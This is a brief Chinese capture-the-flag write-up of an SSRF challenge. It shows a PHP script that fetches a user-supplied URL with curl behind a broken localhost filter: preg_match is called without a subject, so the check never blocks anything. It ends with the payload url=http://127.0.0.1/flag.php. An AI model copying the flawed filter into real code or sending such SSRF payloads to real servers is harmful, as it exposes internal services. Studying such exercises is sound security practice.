依旧代码审计
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];//解析一个URL并返回一个关联数组,包含在 URL 中出现的各种组成部分。$x=parse_url($url);if($x['scheme']==='http'||$x['scheme']==='https'){if(!preg_match('/localhost|127.0.0/'))//正则如果没有匹配localhost或者127.0.0,这里都没要匹配的字符串变量...默认肯定为真{$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}}else{die('hacker');}
所以只需要满足http或者https前缀就行了,直接构造
#POST请求 url=http://127.0.0.1/flag.php
